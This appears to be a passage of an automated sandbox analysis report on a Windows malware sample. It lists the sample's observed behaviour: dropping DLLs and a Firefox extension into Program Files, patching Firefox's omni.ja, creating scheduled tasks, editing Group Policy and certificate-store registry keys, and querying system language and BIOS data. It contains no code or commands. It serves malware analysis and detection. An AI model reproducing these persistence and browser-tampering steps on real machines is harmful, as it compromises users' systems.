File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1DEB6997DB25CE8EC844B742DDA6F019 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1DEB6997DB25CE8EC844B742DDA6F019 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\YNUWFfCEdUiU2\qCxQWGX.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\IunYmNe.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\QVPRfah.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\oWxSecJNU\datKaV.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\oWxSecJNU\AAKrpmb.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\LsajhStaXkJRC\JxETFqR.xml C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\YNUWFfCEdUiU2\UdGaztTKNaUVf.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\LsajhStaXkJRC\qPRiwhA.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files (x86)\QpigBxJgKxUn\SPfzcgX.dll C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\bJbhxhmwQPPePEjnjA.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\FTlmQXMDCFpnewAuq.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\zeLHdclAQOoTZxj.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\dBpreMcpfXbehynYz.job C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\forfiles.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language \??\c:\windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0576a638-0000-0000-0000-d01200000000} C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0576a638-0000-0000-0000-d01200000000}\MaxCapacity = "14116" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
